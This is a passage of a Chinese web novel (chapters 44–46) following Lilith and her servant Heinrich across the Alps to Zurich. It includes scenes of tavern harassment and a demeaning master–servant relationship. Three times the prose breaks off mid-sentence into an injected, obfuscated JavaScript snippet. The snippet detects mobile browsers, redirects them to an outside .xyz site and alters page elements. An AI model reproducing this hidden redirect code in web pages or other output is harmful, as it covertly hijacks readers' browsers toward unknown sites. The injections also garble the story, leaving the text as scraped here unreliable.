连续下了两天暴雨后的空气十分清新,森林里散发着阳光与泥土的香气。莉莉斯逐渐熟悉着在马背上颠簸的感觉。她试着挥舞鞭子,让马儿在小径上驰骋。伊索尔德养的马很熟悉这一带的地形,很快就将他们带出了森林。在开阔的平原上,莉莉斯骑得更快,凛冽的风擦过她的脸颊,她突然感觉周围很安静。 等她回过神来的时候,回过头去看海因里希,发现他在自己后面好远好远。于是她勒住马,停在原地等他。 “怎么啦?”莉莉斯甜甜地笑着,“是特里斯坦的意志正在作祟,导致你还在对伊索尔德恋恋不舍吗?” “您别取笑我了。她给我灌了两次迷药把我迷晕,我的头到现在还在疼。”海因里希皱着眉头跟上了莉莉斯。他的马上驮着二人的货物,负重前行的马不可能像莉莉斯轻装上阵的马一样飞速疾驰。 “辛苦你了。嘛……其实我转念一想,让你留在那里也不是不行。” “您怎么又说这样的话?”海因里希耷拉着脸,原本梳理整齐的金发被风吹得凌乱在额上,看起来快要碎了,“我是您的奴隶,怎么能跟其他女人结婚?” “正因为你是我的奴隶,所以你的财产也是我的财产,你和她结婚,她的财产也就成了你的财产,那么也就全都成为了我的财产。” “……”海因里希沉默。 “只不过这么做有点太不厚道了。伊索尔德毕竟是继承了丈夫地位的一方领主,我还是想和她保持长期合作关系更好。好久没有交过新朋友了,她真的是一个很有意思的女人。不过虽然交朋友很开心,但是做什么都不能影响工作。我们还得赶紧调整回工作状态才行。我相信你在我身边工作能够发挥更大的价值。” 莉莉斯拽紧了缰绳调整马匹的方向,准备继续上路,突然听见海因里希充满怨念的声音在身后响起。 “所以……对您来说,我就只是一个随意就可以抛弃掉的棋子是吗?” 44.灼灼的目光 “对您来说,我就是一个就算召魂仪式成功,被他人的灵魂夺取身体也没关系的存在吗?”海因里希耷拉着脸,委屈得似乎快要哭出来。 “你怎么会这么想?”莉莉斯皱眉。 是啊,你是我买来的奴隶,当然是可以随时抛弃的棋子了,莉莉斯心中的第一反应便是如此。但出于对管理学的基础认知,她知道自己不该把真实想法直接告诉他。 但是,欣赏他脆弱易碎的样子总能让她心中升起阵阵罪恶的快感,因此她并不反感海因里希的无理取闹,甚至可以说乐在其中。 “您与她打赌,让她在我身上进行那样的仪式?万一我醒来后真的忘记您该怎么办?您要抛下我,一个人去苏黎世吗?” 莉莉斯眨了眨眼睛,脑袋飞速运转,思考着接下来该编点什么话来哄他,“我不相信我们之间的羁绊那么浅,会被魔法轻易打破。魔法又不是万能的,就像投资总有会赔光本金的风险,魔法也总会有失灵的时刻嘛。” “……真的吗?” “当然了。”莉莉斯甜甜地笑着,“你是我很重要的伙伴,我绝对不会轻易抛下你的。” 听了莉莉斯的安慰,海因里希的情绪似乎有所缓和。莉莉斯松了一口气,掉转马头继续前行,一边走一边思考。老是让他感到不安也不是太好。 自己的训狗方式哪里出了问题,是糖没有给够,还是鞭子打得不够疼呢? 考虑到海因里希经历了森林中冒雨来回奔波的辛苦,紧接着又两次被迷晕的倒霉,也算是吃了不少苦,莉莉斯决定接下来几天对他稍微好一点。 临近傍晚的时候,他们沿着地图上的路线找到了森林边上的一座小城镇。莉莉斯先牵着马在驿站歇脚,海因里希则赶去正在收摊的集市上购买需要补充的物资。 接下来两天里他们将要通过施普吕根山口,从那里穿越阿尔卑斯山。除了食物干粮与水,保暖的衣物、点火的工具甚至应急避寒用的烈酒都是必不可少的。 莉莉斯独自坐在驿站的餐厅里吃晚餐。贫穷的小镇里没有帕多瓦那样的豪华驿馆,更没有在伊索尔德家里能吃到的精致美食。瑞士的饮食习惯与德意志更加相近。虽然说德式烤白香肠、土豆泥和腌酸菜的味道也还不错,但是顿顿都吃差不多的东西,莉莉斯也早就吃腻了。 最主要的是,这里闲杂人等众多,令莉莉斯感到有些不安。她只能一边像个得体的贵族小姐般用刀叉慢条斯理地切开香肠送进嘴里,一边警惕着周围不怀好意的男性目光。 失去了商队的武装护卫与海因里希的陪伴,莉莉斯不愿向他人透露自己的贵族的身份,一方面是为了不露富而引起盗贼的觊觎,一方面也要尽可能摆脱竞争对手安插的眼线。但她实在做不到伪装成另外一个阶层的男性,只能继续以女性的身份示人。 那些毛发旺盛、散发着浓烈汗臭味的男人将斧头和包袱随手丢在椅子旁边,坐下来抄起猪手就开始急不可耐地大快朵颐。他们中有商人、雇佣兵、伐木工人和猎手。驿馆的女招待对那些酒足饭饱后色眯眯的眼神习以为常。 在这个混乱而富有机遇的时代,渔夫的儿子能成为教皇;耕田的农民摇身一变当上一国之君;今日还是命悬一线的阶下囚,明日或许就是腰缠万贯的富商巨贾【注】。无论是年过半百的大叔还是尚未蓄胡的小伙子都充满了干劲,热情澎湃地在酒桌上对政治、经济与宗教侃侃而谈。 莉莉斯默默观察着他们,沉默不语。她为他们所谈论的一些话题感到激动,那些疯狂的冒险,失落的宝藏,未知的远方……都令人向往。 可是,另一些内容又令她止不住地犯恶心。女人是他们的战利品,他们戏弄的玩物,抑或是他们炫耀的谈资。 那些时不时飘来的猥琐目光更令她感到不适。明晃晃、赤裸裸的渴望比上流社会男性那种阴阳怪气的排斥更加令人作呕,后者把莉莉斯视作入侵男性领域的外敌,而前者则将她当作踏入陷阱的天真猎物。 “看见没?那边的红毛儿。这小妞是新来的?” “不知道,从没见过的生面孔,这红头发看着可真带劲儿,说不定是个东边来的杂种,也不知道多少钱一次……” 充满恶意的讨论音量愈发升高,仿佛就是为了要涌进莉莉斯的耳朵。海因里希怎么还没有来?介于之前有过被强行潜入的经历,莉莉斯不敢独自一人回到房间。她说不上来是在随时可能被侵入的私密空间独处还是在公共空间被虎视眈眈更加危险。 “您好。”她抬起手,招呼餐厅里的女侍,“给我的同行者来一盘大份的巴伐利亚炸猪肘。” 凌厉的服务生很快将淋满酱汁的炸猪肘放在了莉莉斯面前的桌面上。她刚刚已经吃过香肠,不可能再吃得下这么大一份主菜,说明她一定有正在等的人。 讨论声逐渐减弱,莉莉斯暂且松了一口气,但海因里希还是没有回来。她看着窗外的夕阳西下,天一点点变黑。突然,一个胡子拉碴,浑身臭汗的男人自顾自坐在了她面前。 “小姐,一个人?” “不是,还有一条狗。”莉莉斯挑眉,轻蔑地回应道。 “狗在哪儿?我怎么没看见?”那人蹲下身来翻看桌椅四周,愣是没看见哪里有狗。 “就在我面前啊。”莉莉斯冷冷地直视着对方丑陋而猥琐的面庞。 “你敢戏弄我!”男人猛拍桌子,暴怒着站起身来,还没等他做出下一步举动,一把匕首便抵在了他的脖子上。 “我说的不是你啦,是你后面那个。”莉莉斯露出了嘲讽的笑容,“可不是随便什么渣滓都能做我的狗的。” 在刀刃的威胁下,那男人只能举手投降,悻悻离开。 “这是留给你的。”莉莉斯指了指桌上那份放凉了的猪肘,“带回房间吃吧,我累了。” “遵命。” 海因里希端起盘子向楼梯口走去,莉莉斯跟在他的身后,引来一众好奇的目光,比起刚才纯粹的猥琐凝视更多了些畏惧之意。但他们很快就移开了眼,转而将目光投向了从后厨里一手端着三个盘子出来送餐的女服务员。 在她弯下腰把盘子送上桌面的时候,刚才遭受了莉莉斯一番羞辱的男人直接掰开了她胸口上的衣领,将小费塞进了女人的胸托里。他的行为很快引来男人们的一阵哄笑,女侍者害羞地娇嗔着,正中他们下怀。 莉莉斯别过头去,实在不忍直视这样的场景。为什么会这样呢?她一层一层走上台阶,透过窗户瞧见外面的空地上有约莫五六岁的小男孩小女孩在广场中心的喷泉边玩水。童年时一起游戏的玩伴,长大后也会变成大人的酒馆里那样猎人与猎物般令人作呕的关系吗?那些小女孩若是知道了迎接她们的命运,她们还会期盼长大,憧憬未来吗? “很抱歉,我回来晚了,让您经历了那样的闹剧。”海因里希见莉莉斯面无表情地沉默了良久,率先打破沉默,“我到的时候店铺都已经收摊,我和那些小贩掰扯了好一阵子,他们才肯把东西卖给我。” “不,这不是你的错。”莉莉斯回过头瞥了他一眼,在看到他金色的短发后皱起了眉毛,“或许不是吧。海因里希,你说,我是否应该把头发剪短,往后都用男性的形象示人呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157439|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “您为什么会这么想?”海因里希大吃一惊,一手端着盘子,一手为莉莉斯推开房门。 “那样或许会为我省去很多麻烦。”莉莉斯在床沿上坐下,默默分析道,“不再会被恶心肮脏的男人性骚扰,也不会因为是女人而被质疑能力,受到条条框框的限制……罢了,你也是男人,不可能理解我的。” “可是,您在伊索尔德面前,最后还是向她展示了您真实的性别,而这一点也帮您建立了真正的友谊,不是吗?“海因里希思索道。 “是啊。其实……我很喜欢自己的女性身份。可能这听起来很奇怪,因为做一个女人让我从出生起就吃尽了苦头。私生子尚有可能在嫡子离世后继承家业,私生女除了出嫁沦为和亲工具之外毫无存在价值。 “你也都亲眼看过,毛罗对我的羞辱,汇兑商同行对我的轻视,洛伦佐对我令人作呕的占有欲。即便是在这样充满机遇的时代,女人想要做成一件事也难于登天。 “可是,我却又很感动,很珍惜我这一路遇到过的朋友与伙伴。我还记得小时候因为毛罗的事和家里吵架,毛罗使绊子,在父亲不知情的情况下偷偷断了我在修道院的学费供给,害得我连饭都没得吃。那时索菲亚就总给我双倍的钱让我帮她去买饭,后来这事儿传到了丹多洛家族家长那儿了,他们告诉埃莱娜姑姑,她再转告我父亲,我父亲才重新给我续上了供给。 “是啊,不仅是索菲亚,还有埃莱娜姑姑,克拉拉老师,塞西莉娅,塔塔,伊万卡,还有这次旅行中遇到的伊索尔德,和她们交流的时候我都觉得很开心。 “她们每一个人都没有按照社会所希望她们活着的方式活着。她们充满个性与魅力,不像那些一个模子里刻出来的男人,一样的猥琐、下流、令人作呕。海因里希,你说那些人为什么会那么恶心呢?“ “我也不知道……” 海因里希认真思考着莉莉斯说过的话。他从小按部就班地遵从家族为他规划的日程学习、生活、训练,为成为一个正直、勇敢、强大而坚韧的继承人努力。而曾经在他脑海中完美的未婚妻,也不过是一个长着莉莉斯面孔的贤妻良母形象——他在真正认识了莉莉斯之后才意识到这有多荒诞。 莉莉斯忽略了海因里希的沉默,自顾自地继续讲了下去: “是啊,伪装成一种下流不堪的生物,一辈子都要带着面具生活,那多累多辛苦啊,根本不会让我开心。我情愿以自己真实的面貌活着,去挑战那些不公,去享受女性之间纯粹的友谊。” 莉莉斯抬起头,透过窗户看向屋外的夜空,明月高悬,繁星闪烁,她的眸子里映照着星光。 “要是我能够赚很多很多钱,多到足以改变这个世界就好了。我希望所有女人都能不再遭受莫名其妙的轻视、骚扰与侮辱;不用向玛丽亚那样,被迫成为男人与孩子的附庸;也不用像伊索尔德那样,沉浸在爱情的幻想中忘记自己。我希望每一个人都能自由地选择自己想要走的道理,自信而快乐地活着。” “您一定可以做到的。”海因里希突然感到一阵不可名状的无力感,复杂的情感在他胸口翻涌。 “但愿吧。不过在此之前,海因里希,我专门买给你的巴伐利亚炸猪肘已经凉了。”莉莉斯坏笑着端起铁盘子,没收了刀叉,将食物放在地板上,“快吃吧,乖狗,要全部吃完哦。” 【注】此处列举的三个案例分别是指教皇西斯笃四世(1414-1484),米兰公爵之父穆奇奥·斯福尔扎(1369-1424),与佛罗伦萨的银行家科西莫·德·美第奇(1389-1464) 45.同床异梦的夜 如果说刚才海因里希还有一丝因为莉莉斯“改邪归正”而对复仇正当性所产生的道德质疑,那么此时此刻他的疑问与愧疚已经荡然无存。 这本身是一道他在家乡节日宴请时常吃的美食,刚炸出来的皮脆而香,肉质细嫩多汁、搭配酸菜吃更是清爽又解腻。可是,放凉了的炸猪肘外壳坚硬,脂肪凝结成油腻的白膏,简直味同嚼蜡。 那些远大的目标与理想,那些伟大的美好愿景,都因海因里希的男性身份而与他无关。 不,其实莉莉斯并没有将他当作男人,他得到的待遇已经比莉莉斯眼中的“男人”要高一个阶层了,他是她的狗。 开心时逗一逗哄一哄,危险时看家护院,生气时挨打挨骂的狗。莉莉斯肆无忌惮地撩拨他,利用他,侮辱他,并以他的痛苦为乐。为了复仇忍辱负重也好,出于某些不敢承认的单向爱恋也罢,海因里希十次里有九次都能忍过去,可总会有一次实在忍不了。 他也想被莉莉斯当作一个人对待,而不是一只没有尊严的狗。因此他必须要把他的计划进行下去,哪怕这违背了他曾经引以为傲的道德准则。 “我不吃,谢谢您的好意。”海因里希深呼吸。 “为什么?”莉莉斯皱眉。 “咬不动。我牙口没那么好。而且,我还有工作要做。我们好不容易到了有邮局的城镇,需要尽快同威尼斯方面、埃莱娜方面以及苏黎世合作伙伴跟进我们即将延迟抵达的消息。起码得有五六封信件要写。时候不早了,我想早点下班,先去写信了。” 说着,海因里希冷冷地瞥了一眼那盘被放在地上的肉,头也不回地走到书桌旁边,把莉莉斯一回来便随手扔在桌上的首饰、腰带与发巾整理好放在桌角,从包里拿出纸笔开始工作。 莉莉斯哑口无言地坐在床上。这是她自从买来这个奴隶以后,第一次在与他相处时产生了一种心里堵堵的感觉,最讨厌的是,对于他说的那番官方气息十足的话语,她竟然丝毫无法反驳,因为这完全符合莉莉斯要求他要有的工作态度。 到底是什么地方出错了呢?他从前不是很喜欢被这样对待吗?莉莉斯十分不解。 对她来说,这是她在给予一种奖赏。可是人狗有别,她有时候搞不懂海因里希到底是怎么想的。可是介于他最近表现都很好,她不想让他真的感到受挫,但又忍不住想要报复一下,该怎么做呢? “不错。”莉莉斯装模作样地夸奖道,眨了眨眼睛,“海因里希,你做得很好,非常好。等你做完这些工作之后,我再来给你布置新的任务。” 她从床上爬起来,从箱子里拿出换洗衣物,轻描淡写地走进浴室关上门。 海因里希处理完工作之后,莉莉斯已经躺在床上裹着被子陷入了梦乡。自从上次住酒店时遭外人潜入之后,莉莉斯便嘱咐海因里希都只订一间双人房。于是海因里希洗完澡后便换上睡衣向自己的床铺走去,这时,莉莉斯突然睁开了眼睛。 “过来。”她笑着勾了勾手。 “怎么了?”海因里希皱着眉头走到她床边。 “坐下。”莉莉斯扯了扯他的衣服,示意他坐在床沿上。 海因里希刚一坐下身,就被莉莉斯猛地拽住衣领往后扯,他跌倒在莉莉斯的床上,被莉莉斯用被子包起来。 “房间里好冷,和我一起睡吧。”莉莉斯笑着钻进海因里希的怀里,他宽阔的胸膛上暖暖的。 “夫人!!这不合适!!!” 海因里希被吓了一大跳,脸一瞬间羞得通红。他急急忙忙地想要挣脱,手掌却一不小心摸到了什么软软的东西,吓得他再次惊叫出声。 “我是女主人,你得听我的,我说什么合适就什么合适。”莉莉斯诡计得逞地笑着命令道,“又不是以前没有抱过我,有什么害羞的。只是取暖而已,就这样睡吧。” “不行。夫人,为了您的贞洁与名声,我不能这么做。即使您只是想取暖……但外人会误解您的。” “你觉得我带着你一起旅行,在森林中消失了几日,出来时两人只开一间房间,还不会被误解吗?说不定等我们回威尼斯的时候,我们就已经是有名的奸夫□□了呢。”莉莉斯笑着逗他,“可我还是带你出来了,因为我不在乎这些风言风语。哪个成功人士背后没有点风流韵事呢?而且我又不是真的要对你做什么。放心吧,我对那种男女之事毫无兴趣。你如果实在不愿意的话就算了。” “夫人……我……”海因里希惊慌失措地想再劝劝她。散发着玫瑰香气的柔软皮肤紧紧贴着他,他不可能睡得着。莉莉斯正以一种生理的存在吸引着他。她到底是对自己的魅力一无所知,还是故意为了折磨他才这么做? “你看,你也没有不愿意嘛。” 莉莉斯心满意足地抬起手,温柔地轻抚海因里希散在额上的金发,望进那双在月光下如水晶般晶莹剔透的蓝眼睛。随后她抱住海因里希的一根手臂,若无其事地闭上眼睛,露出诡计得逞的笑容。 ”晚安,海因里希,明天早上还要赶路呢。” 海因里希几乎彻夜未眠。但是第二天一早,他还是得比莉莉斯更早爬起来,先去邮局寄信,然后再次确认二人已经备好了穿越阿尔卑斯山脉所需要的物资。 施普吕根山口是一条古罗马人在阿尔卑斯山脉中开辟出来的羊肠小道。地处瑞士高原,山路颇为险峻,即使已近五月中旬却仍旧寒风刺骨。青色的群山上覆着白砂糖般的细雪,山腰上可以看见远处如蓝宝石般静谧的湖泊。 “海因里希,这里的湖水好蓝,像你的眼睛一样好看~” 莉莉斯身上裹着厚厚的羊毛大衣,脖子上围着一圈狐皮的围脖,手上戴着量手订做的小羊皮手套。即使如此她仍旧冷得哆哆嗦嗦。 她回过头看向守候在她身后的海因里希,对方虽然看起来被昨晚的事折腾得有些身心俱疲,但在寒风的洗礼下也打起了精神来。他如雪般白皙的皮肤上因莉莉斯的话语而微微泛红,露出一个羞涩的微笑。只有与莉莉斯单独相处时他才会展现这样的表情。另外的时间里,他总是面无表情地站在她身后,用警觉的目光扫视每一个接近莉莉斯的男人。 在山口下歇脚的小镇里他们遇到了从意大利边境出发前往德国的商人,便组上了队伍一同前往。在潜在的客户面前莉莉斯便不再掩饰自己的身份,兴致勃勃地向他们介绍着克纳罗银行的汇兑与信贷业务。 有的商人听闻过克纳罗家族与施密德尔家的产业,对新兴的业务表现出感兴趣的态度,另有一些则对女人的话语嗤之以鼻,但碍于海因里希的死亡凝视而不好在面上说些什么难听的话。莉莉斯对背地里的嘲讽与奚落毫不在乎,只为一个又一个积累到的新客户而感到开心。她时不时想起埃莱娜姑姑对她说过的话,无论多厌恶男人,也得把他们的钱都努力赚进自己的钱包里。 路途艰苦,他们没有机会住像样的酒店,大多数时间都只能在简陋的驿站或是修道院里凑合一夜,有的卧室里没有壁炉,到了夜里空气冰冷异常,莉莉斯便顺理成章地要求海因里希每夜都和她躺在一起。 海因里希也从最开始几天的激动与尴尬转而变成一种说不上来的,微妙的悲伤——他意识到他们的行程快要结束了。等到了苏黎世之后,莉莉斯身为海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170391|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因里希·施密德尔的遗孀,自然不会再和下贱的仆从同床共枕,给施密德尔家代表留下一个不守妇道的坏印象。海因里希又睡不着了,他整夜整夜一动不动地凝视着月光下莉莉斯的脸。 躺在他身侧的莉莉斯不像是他脑海中幻想的未婚妻,她的行为从动机到实质都有一种诡异的,功利主义的坦荡,似乎与情爱无关;也不是他所认识的那个女主人,因为她不再那么高高在上,不再践踏他,藐视他;甚至不是他的仇人,他们平静地、放空地四目相对,像是朋友。只是这样的日子,恐怕以后再也不会有了。 虽然瑞士联邦地处高原,气候寒冷,但好在这几天的天气还不错,未曾下雪,他们骑马赶路一周便到达了苏黎世,比原先预计的晚了两天。莉莉斯一进城里便到处问路直奔酒店入住休息。不出意料,他们分别住在两间房间。莉莉斯独自搬进款待贵宾的豪华套间里,海因里希则提着行李走进佣人居住的客房。 去餐厅用餐前,莉莉斯往大堂伙计的手里塞了几个银币,差他去给施密德尔家的大使报个信。此刻,他们为数不多的盘缠已经几乎全部花完了,好在尚有汇票,可以直接从埃莱娜的代理人那里领到兑付现金,作为开立分行的初始资金与打通当地人脉关节所需的润滑剂。 海因里希在自己的房间里收拾行李。他们在苏黎世会停留一段时间,因此他打算把行李箱里的东西全部摆出来。他不是第一次到这里。上次从家出发前往威尼斯接亲的路上也途径了苏黎世,在这里稍作停留。当时,施密德尔家在苏黎世的代理人正好出了趟远门去问远嫁至勃艮第的女儿庆祝生日,因此海因里希没有和他碰过面,这会儿也不用担心会被认出了。 但还是需要多加小心,要是被什么别有用心的路人记住了他的长相,使他暴露了身份可就糟糕了。保险起见,他从包袱里拿出一块长长的黑手帕作为覆面的工具。 他回想起四个月前启程接亲时施密德尔家风风光光的队伍,丰厚的礼物与阔气的排场,不仅是为了向克纳罗家表现诚意,也是为了向群众们彰显领主的财富与威严。意气风发的海因里希曾在苏黎世的好几家布料首饰店中一掷千金,作为打赏给下人同乐的礼物。此番故地重游,早已物是人非。 突然,他听见窗外传来了莉莉斯的笑声。他下意识走到窗边,透过窗缝看见莉莉斯已经换好了一身得体的黑色长裙,头戴黑纱,披散着红发,优雅地与一位中年男人打招呼。海因里希定睛一看——这是帕斯卡·施密德尔,海因里希的叔父赫尔穆特的亲信家臣之一。 他为什么在这里?怎么会是他?! 海因里希的眼前立刻浮现出了赫尔穆特的脸,那个阴险的男人,杀了海因里希的父亲,娶了他的母亲,将施密德尔家的产业占为己有,与莉莉斯合谋害得海因里希失去了家人、财富、美好的未来,失去了一切。 而现在,他又将原本的代理人赶出了苏黎世,还安排自己的手下来这里鸠占鹊巢接待莉莉斯,向家族的每一个势力范围渗透他的影响。想到这里,海因里希就感到一阵不可名状的恶心。 他现在唯一能做的,只有像过去一个月中所实施的那样,帮助莉莉斯完成她安排的工作,然后用挤出来的空余时间继续与他真正的盟友通信。自从经历过巨大的变故后,海因里希也不再是那个会随意对人予以信任的天真少年了。但他的盟友线下与他有着共同的利益与目标,与莉莉斯一样,都是他现在可以利用的力量。 “海因里希,你怎么还在里面?快点出来呀!” 门外传来莉莉斯的声音,海因里希紧紧皱起眉头,赶到门边,将门锁锁上。 46.丈夫的肖像画 “海因里希?!”莉莉斯焦急地呼唤道,用力敲响海因里希的房门。 “我听到了。”海因里希急匆匆地走到门前,正想开门,右手突然又缩了回去。他不想见莉莉斯。正处于强烈情绪波动中的受害者现在没有耐心陪罪魁祸首玩主仆小游戏。“我不能见您。” “为什么?施密德尔德家的马车已经在门口等着我们了。”莉莉斯的语气中带着不悦,“他们没有请翻译,我的德语水平只够撑完寒暄,接下来该怎么办?你得帮我去跟他们谈判。” “不行……咳咳咳咳咳……” 海因里希装模作样地捂着嘴巴猛猛咳嗽了一阵,咳得快要吧肺都咳出来了。 “你怎么了?”莉莉斯听到异常的剧烈咳嗽声,下意识向门后退了两步,不敢再靠近。 自从一百年前,黑死病的阴霾首次笼罩欧洲大陆,于短短数年间迅速带走整个欧罗巴三分之一的人口之后,便再也没有人敢对急促、粗重的咳嗽声视若罔闻。这种如梦魇般阴魂不散的瘟疫从未灭绝,时不时在欧洲的某个角落暗自爆发,用发黑发紫的肿块、高热与剧烈的咳喘夺走人们的生命。 “我有点发烧了。”海因里希掐着嗓子,伪装出一幅虚弱的声音告诉她,“您还是不要与我见面比较好,我怕传染给您。” “好吧。”莉莉斯紧紧皱着眉头,对海因里希和自己的身体状况无比担忧。她回想起自己过去几天里与海因里希共处一室的夜晚,越想越后怕,“伊索尔德给了我一些治疗发热的药,我放在门口了。你吃一点吧,好好休息。” “谢谢您的关心。您也要照顾好自己。” 随着莉莉斯的脚步声渐远,海因里希打开门,捡起地上的小药瓶后再一次将房门反锁起来。躲在窗缝背后他看见接莉莉斯离开的马车已经走远,然后才披上黑色的披风,戴上帽子,从后门溜出酒店,绕着马车无法通行的小路向同样的方向走去。他要去到苏黎世最大的市场做一些交易,但不是以克纳罗银行的名义,而是为了去交换一些别的东西。 苏黎世作为连接意大利半岛与欧洲北部的重要枢纽,聚集着来自天南地北的货物与商人。他们口中用蹩脚的德语、法语或是意大利语吆喝着新奇的货品。海因里希在街角看见一个威尼斯打扮的商人,穿着拜占庭式的长袍,正在贩卖威尼斯特产的面具,有漂亮精致、镶嵌羽毛与金粉的女式狂欢节面具,有瘟疫医生使用的遮盖全脸的鸟嘴型面具,也有素白色的,上半部分方形、下半部分呈倒三角、完全遮住全脸,仅仅在眼睛与鼻子下开孔。 “威尼斯的男士面具,叫做巴尔塔(bauta)。”小贩用夹杂着意大利语的德语介绍道,“我卖的面具全是用上好的纸浆浇注的,有白色的也有黑色的,内里衬着软布,轻便透气,价格也不贵。您看!下巴的位置是翘起来的,既能遮住全脸,又能方便您带着面具用餐说话。只要10个苏尔迪银币,买一个怎么样?” 同样的面具,比在威尼斯卖的贵了一倍还不止,但是考虑到运输与保存的费用,价格倒也还算合理。巴尔塔,发音与德语中的behten(保护)很像,这是在威尼斯最常见的用做匿名的男性面具款式,为保护佩戴者的隐私而生。 海因里希从小贩手里接过一片黑色的面具戴在脸上,透过面具孔看向广场,视野里被投下一层薄薄的黑影。镜子中的自己没有脸,只能看见如鬼魅般的黑色,翘起的末端像是黑鹫的鸟喙。 海因里希掏钱付款,戴上面具。用黑色的帽檐遮住金色的头发,消失在嘈杂的广场人群里。 道路的另一端,莉莉斯十分不自在地坐在装修豪华精致的马车里。施密德尔家的代理人帕斯卡坐在他的对面。这个留着山羊胡子的中年日耳曼男人的意大利语水平与莉莉斯的德语水平不相上下,根本无法有效沟通。莉莉斯解释自己的随从因生病无法出门的事已经耗尽了所有语法和词汇量,现在只能沉默着干瞪眼,等待作为东道主的施密德尔家去现找一名能够同声传译的翻译过来。 借着尴尬的沉默,莉莉斯装作不经意地向窗外望去,一边打量着苏黎世的街道,一边思考着海因里希的缺席。 她有些饿了。如果海因里希在的话,应该会随身备好她喜欢吃的小零食,在她需要的时候随时拿出来给她解馋吧。 莉莉斯突然意识到自从她收到了嫁妆,从克纳罗家自立门户出去之后,就再也未曾像这样在没有仆从陪伴的情况下独自出门。尽管施密德尔家是她名义上的夫家,可是她并不信任他们,就像她也根本不信任自己名义上的那群家族成员。她想要海因里希陪在她身边。 不行,她不能让他的缺席影响到她在谈判中的表现和发挥。瑞士联邦的商业风气与威尼斯相比相对保守,对银行家们打着汇兑的名义搞放贷的灰色操作容忍度也比威尼斯更低。因此,如果关系网络中有认识的门路可以帮忙打通关节,开设分行的进度将会事半功倍。 在与施密德尔家的代理人谈过一轮之后,她会再去和埃莱娜在苏黎世的代理人碰面,一起去友行将莉莉斯于威尼斯签署的汇票在苏黎世兑现。不过不是立刻提取,而是在他们找到了合适的银行铺面并修建好金库以后。一件一件的事情堆在一起,莉莉斯分身乏术,只能寄希望于这里的合作伙伴都是好相处好沟通的人。 海因里希要什么时候才能好起来,为她分担一些工作压力呢?莉莉斯皱起眉头。纵使作为一个常被指责不敬神明的放贷者,她此时也情不自禁地在内心中默默祈祷了起来。愿上帝保佑他尽快康复,尽快回到工作岗位上来啊。但愿他只是因为过劳而生病,休息几天就能康复如初,彻底好转过来。 莉莉斯上一次像这样如此关心另外一个人的身体,还是小时候关心她的母亲。她永远不会忘记幼小的自己穿着破布缝的衣服从卡斯特罗区的贫民窟顶着寒风跑到里亚尔托大桥附近克纳罗宅邸的那段路。冰冷的风像刀一样刮过她的皮肤,等她求到父亲为她打开大门时已经疼得满心都是血。 母亲最后还是走了。海因里希也会像母亲一样离开她吗? 不要。不行,绝对不行。无论是海因里希,还是塞西莉娅、塔塔、伊万卡,都不可以离开她。他们对莉莉斯而言才是真正在一个屋檐下患难与共的家人。每个人都要好好的,谁都不能有事,包括海因里希。夏洛克已经不幸地离开了他们。无论是从业绩效益的层面还是个人情感而言,莉莉斯都不想再失去一个重要的伙伴。 她突然有些后悔或许自己给海因里希布置了过多的工作。她好像从来没考虑过,原来像海因里希这么健康强壮的人也是会生病的。 银行业务相关的工作和莉莉斯的生活起居都要他来上心,莉莉斯本觉得这都是理所应当的事,却在他离开后才意识到哪儿哪儿都缺了点什么。莉莉斯作为领导,需要主导银行发展的大方向视野,没有精力对所有地方都事无巨细地关照,因此需要海因里希这样的实践者为她落实目标。 他一定要尽快好起来啊,不然莉莉斯在苏黎世人生地不熟,只能一个人处理所有事务,那可真是要累垮了。 马车很快抵达了施密德尔家族在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174655|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏黎世建造的府邸。这是一座不算豪华但仍旧十分气派的别墅。莉莉斯在女仆的搀扶下走下马车,翻译已经在门口恭候,她终于可以自由地用自己的母语和施密德尔家的代理人沟通了。 “这真是一座漂亮的别墅。”莉莉斯笑着恭维道。 “夫人您随时可以搬进来住,我已经安排人打扰好了给您的房间。虽然您的丈夫海因里希不幸去世,但您始终是施密德尔家的一员。”借由翻译的转达,帕斯卡也得以更加圆滑地表达对莉莉斯的欢迎,“可怜您年纪轻轻便要守寡,请您节哀顺变啊。” “多谢您的好意,请您一定要替我向……赫尔穆特先生致意。” 莉莉斯听到“海因里希”的名字,愣了一下才反应过来这原本是自己丈夫的名字。这么说来,她没带上海因里希一起来倒也省去很多麻烦。要不然若是让施密德尔家的人知道她竟给奴隶起丈夫的名字,估计会大发雷霆吧。 只不过……她回想起来三月底收到的信件,施密德尔家出了变故,原本的家主身亡,由于没有成年的儿子能继承家业,现在是原主的弟弟赫尔穆特当家。 